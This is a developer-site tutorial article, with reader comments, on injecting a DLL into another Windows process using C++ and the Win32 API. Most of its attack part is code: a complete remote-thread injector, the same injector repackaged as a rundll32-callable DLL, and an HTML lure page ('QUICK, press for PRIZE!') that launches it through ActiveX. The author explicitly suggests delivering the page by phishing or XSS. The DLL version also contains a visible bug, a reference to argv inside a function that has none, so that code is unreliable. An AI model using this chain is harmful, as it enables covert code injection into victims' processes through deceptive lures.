Click here to Skip to main content
15,888,321 members
Articles / Security / Cryptography
Tip/Trick

Inject DLL in Another Process using C++ Win32 Windows API

Rate me:
Please Sign up or sign in to vote.
4.58/5 (9 votes)
20 Dec 2023CPOL4 min read 18.3K   391   36   19
C++, Win32 API - Injecting DLL in a process
An injection attack can be used to add or remove information from a data stream. There are different injection attacks such as SQL injection, XML injection, DLL injection. This article explains DLL injection using C++ and Win32 Windows API.

Introduction

DLL injection has useful applications, including as data and program security. It can also be employed destructively, such as in worm or malware attacks. The process of writing code for DLL injection will be thoroughly covered in this post. This briefly discusses how malware operates as well, particularly in situations where we are using outdated or antiquated software.

Here is the complete output for injecting a malware into the target process using Internet Explorer.

Image 1

I have also updated the complete DLL Injection project along with the HTML file containing JavaScript (DLLInjection.zip).

Background

Professor Messer in his video explains about injection attack and introduces DLL injection.

https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/injection-attacks/

So I thought of putting into action how DLL injection can be achieved using C++, Win32 Windows API developed using Visual C++. The actual DLL injection is explained in '5. How DLL injection works in C++ using Win32 API'.

Using the Code

1. Injecting DLL using JavaScript with Browser

We need two DLLs, VirusDLL.dll and DllInjectorAsDll.dll. I've provided instructions below on how to create these two DLLs. These two DLLs need to be downloaded via malware to the victim's PC in the C:\Temp directory. Using JavaScript, I invoked Rundll32.exe from an HTML file; the HTML code is as follows. In situations involving passive or active cross-site scripting (XSS), you can also utilize the JavaScript indicated below.

HTML
<!DOCTYPE html>
<html>
<body>

<script>
function LaunchApp() {
    var ws = new ActiveXObject("WScript.Shell");
    ws.Exec("Rundll32.exe C:\\Temp\\DllInjectorAsDll.dll HelperFunc 68928");
}
</script>

<h1>QUICK, press for PRIZE!</h1>

<button type="button" onclick="LaunchApp()">Click Me!</button>
 
</body>
</html>

The third option is the process id of the target process. This ID can either be enumerated or dynamically assigned. The output of the code appears at the top of the page. After hosting this page, we can send this URL link as a part of a phishing attack. Please be aware that the HTML code above is only compatible with older browsers, such as Internet Explorer. This HTML code is not supported by the most recent versions of browsers, including Microsoft Edge and Google Chrome.

2. Simple VirusDLL

Let's create a simple DLL named "VirusDLL" with one function Attack() that will be called at the time when this DLL attaches to any process.

C++
#include <windows.h>
#include <winerror.h>
#include <psapi.h>

void Attack()
{
    char szProcessName[128];
    GetModuleBaseNameA(GetCurrentProcess(), NULL, szProcessName, sizeof(szProcessName));
    MessageBoxA(NULL, "BOOM!", szProcessName, MB_OK);
}

BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,  // handle to DLL module
    DWORD fdwReason,     // reason for calling function
    LPVOID lpvReserved)  // reserved
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        // Initialize once for each new process.
        Attack();
        break;

    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        if (lpvReserved != nullptr)
        {
            break; // do not do cleanup if process termination scenario
        }
        break;
    }
    return TRUE;  // Successful DLL_PROCESS_ATTACH.
}

3. Loading VirusDLL

Any process with the required authorization can have the DLL injected into it. The majority of the process will be authorized for injection. The code to construct the target process is as follows. It just counts the number and displays it on the screen repeatedly.

C++
#include <Windows.h>
#include <winerror.h>

int main()
{
    // You also specify the complete path as LoadLibrary(LC:\Temp\VirusDLL.dll").
    LoadLibrary(L"C:\\Temp\\VirusDLL.dll");
    return 0;
}

Run the above code and the output of the screen is as follows. But this is not the way to inject the DLL. This is just only to test the virusdll.dll.

LoadLibrary

4. Creating Target Process where We Need to Inject VirusDLL

You can inject the DLL in any process that has proper permission. Most of the process will have injection permission. Let's create a target process that simply counts the number and display on the screen in a loop, and the code is as follows:

C++
#include <Windows.h>
#include <winerror.h>

#include <stdio.h>

int main()
{
    int i = 0;
    while (true)
    {
        printf("Processing - %d\n", i++);
        Sleep(1000);
    }
    return 0;
}    

The output is as follows:

TargetProcess

5. How DLL Injection Works in C++ using Win32 API

In order to inject a DLL in any process (for example, TargetProcess.exe), we use another process called injector; in this example, we use DllInjectorAsProcess.exe. It is a four-step process as shown in the image below:

DllInjectionFlow

The C++ code for injecting the code is below and the code is self-explanatory. In all the cases, we need process handle.

C++
#include <Windows.h>
#include <winerror.h>

#include <stdio.h>

int main(int argc, char* argv[])
{
    char szDLLPathToInject[] = { "VirusDLL.dll" };
    int nDLLPathLen = lstrlenA(szDLLPathToInject);
    int nTotBytesToAllocate = nDLLPathLen + 1; // including NULL character.

    // 0. Open The process
    HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | 
                      PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, atoi(argv[1]));

    // 1. Alocate heap memory in remote process
    LPVOID lpHeapBaseAddress1 = VirtualAllocEx(hProcess, NULL, 
                                nTotBytesToAllocate, MEM_COMMIT, PAGE_READWRITE);

    // 2. Write the DLL path in the remote allocated heap memory.
    SIZE_T lNumberOfBytesWritten = 0;
    WriteProcessMemory(hProcess, lpHeapBaseAddress1, 
                       szDLLPathToInject, nTotBytesToAllocate, &lNumberOfBytesWritten);

    // 3.0. Get the starting address of the function LoadLibrary 
    // which is available in kernal32.dll
    LPTHREAD_START_ROUTINE lpLoadLibraryStartAddress = 
             (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), 
              "LoadLibraryA");

    // 3.1. Call LoadLibraryin remote process and pass the remote heap memory 
    // which contains the dll path to load.
    CreateRemoteThread(hProcess, NULL, 0, lpLoadLibraryStartAddress, 
                       lpHeapBaseAddress1, 0, NULL);

    CloseHandle(hProcess);
    return 0;
}

6. DLL Injection Code as DLL

We will convert the above code as DLL DllInjectorAsDLL.DLL.

C++
#include <Windows.h>
#include <winerror.h>

void DllInjector(DWORD dwProcessID)
{
    wchar_t wszBuff[100];
    char szDLLPathToInject[] = { "VirusDLL.dll" };
    int nDLLPathLen = lstrlenA(szDLLPathToInject);
    int nTotBytesToAllocate = nDLLPathLen + 1; // including NULL character.

    // 0. Open The process
    HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | 
           PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, atoi(argv[1]));

    // 1. Alocate heap memory in remote process
    LPVOID lpHeapBaseAddress1 = VirtualAllocEx
           (hProcess, NULL, nTotBytesToAllocate, MEM_COMMIT, PAGE_READWRITE);

    // 2. Write the DLL path in the remote allocated heap memory.
    SIZE_T lNumberOfBytesWritten = 0;
    WriteProcessMemory(hProcess, lpHeapBaseAddress1, 
         szDLLPathToInject, nTotBytesToAllocate, &lNumberOfBytesWritten);

    // 3.0. Get the starting address of the function LoadLibrary 
    // which is available in kernal32.dll
    LPTHREAD_START_ROUTINE lpLoadLibraryStartAddress = (LPTHREAD_START_ROUTINE)
             GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryA");

    // 3.1. Call LoadLibraryin remote process and pass the remote heap memory 
    // which contains the dll path to load.
    CreateRemoteThread(hProcess, NULL, 0, lpLoadLibraryStartAddress, 
                       lpHeapBaseAddress1, 0, NULL);

    CloseHandle(hProcess);
}

extern "C"
{
    __declspec(dllexport) void WINAPI HelperFunc
              (HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
    {
        DllInjector(atoi(lpszCmdLine));
    }
}

// There is no need for DLL main.

However, because it is a library, the DLL itself cannot run; instead, another process must load the library and call the function found inside. The exported/public function in the code above is called HelperFunc, and the internal/private function is called DllInjector. It is not possible to invoke the private functions directly. DllInjector function will be activated by calling HelperFunc. Rundll32.exe can be used to load this library in place of creating a new program.

Rundll32.exe is a Microsoft-signed binary used to load dynamic link libraries (DLLs) in Windows. It is native to Windows and present in both 32 and 64 bit versions, respectively present in these places:

In order to load the above injector DLL and call the HelperFun, we can call in the Windows shell prompt as follows:

// Rundll32.exe <Dll file path> <Exported function> <parameter/process id>
Rundll32.exe C:\\Temp\\DllInjectorAsDll.dll HelperFunc 68928 

The above code is used in JavaScript to call the injector (DllInjectorAsDll.dll) using Rundll32.exe which will inject VirusDLL.dll. The two DLL's VirusDll.dll and DllInjectorAsDll.dll should both be available in C:\Temp\ folder.

7. Conclusion

Always have your browsers or even software updated. You can download the entire project build using VS 2019.

History

  • 12th December, 2023: Initial version

License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)


Written By
India India
C++ Data Security Developer and Visual C++ programmer.

Comments and Discussions

 
GeneralMy vote of 5 Pin
Ștefan-Mihai MOGA27-Dec-23 18:38
professionalȘtefan-Mihai MOGA27-Dec-23 18:38 
PraiseIt takes me back to the old days Pin
David Rayna21-Dec-23 11:32
David Rayna21-Dec-23 11:32 
GeneralRe: It takes me back to the old days Pin
Daniel Ramnath21-Dec-23 20:50
Daniel Ramnath21-Dec-23 20:50 
QuestionThanks Pin
Member 1010980018-Dec-23 7:15
Member 1010980018-Dec-23 7:15 
AnswerRe: Thanks Pin
Daniel Ramnath20-Dec-23 6:08
Daniel Ramnath20-Dec-23 6:08 
AnswerRe: Thanks Pin
Daniel Ramnath20-Dec-23 6:37
Daniel Ramnath20-Dec-23 6:37 
AnswerRe: Thanks Pin
Daniel Ramnath21-Dec-23 1:01
Daniel Ramnath21-Dec-23 1:01 
GeneralRe: Thanks Pin
Member 1010980024-Dec-23 4:51
Member 1010980024-Dec-23 4:51 
QuestionInteresting, but is it actual in 2023? Pin
Dmitry V.Trus14-Dec-23 3:03
Dmitry V.Trus14-Dec-23 3:03 
AnswerRe: Interesting, but is it actual in 2023? Pin
maxoptimus14-Dec-23 8:43
maxoptimus14-Dec-23 8:43 
AnswerRe: Interesting, but is it actual in 2023? Pin
stasinek17-Dec-23 4:04
stasinek17-Dec-23 4:04 
GeneralRe: Interesting, but is it actual in 2023? Pin
maxoptimus18-Dec-23 9:12
maxoptimus18-Dec-23 9:12 
GeneralRe: Interesting, but is it actual in 2023? Pin
Daniel Ramnath20-Dec-23 6:12
Daniel Ramnath20-Dec-23 6:12 
AnswerRe: Interesting, but is it actual in 2023? Pin
Daniel Ramnath20-Dec-23 10:52
Daniel Ramnath20-Dec-23 10:52 
QuestionThis is how you do it Pin
Lisbeth Salender13-Dec-23 6:51
Lisbeth Salender13-Dec-23 6:51 
AnswerRe: This is how you do it Pin
maxoptimus13-Dec-23 20:48
maxoptimus13-Dec-23 20:48 
GeneralRe: This is how you do it Pin
maxoptimus26-Dec-23 1:53
maxoptimus26-Dec-23 1:53 
Questionwhat about inject .net 4.0 app ? Pin
maxoptimus13-Dec-23 4:29
maxoptimus13-Dec-23 4:29 
AnswerGreat article Pin
Michael Haephrati12-Dec-23 1:51
professionalMichael Haephrati12-Dec-23 1:51 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.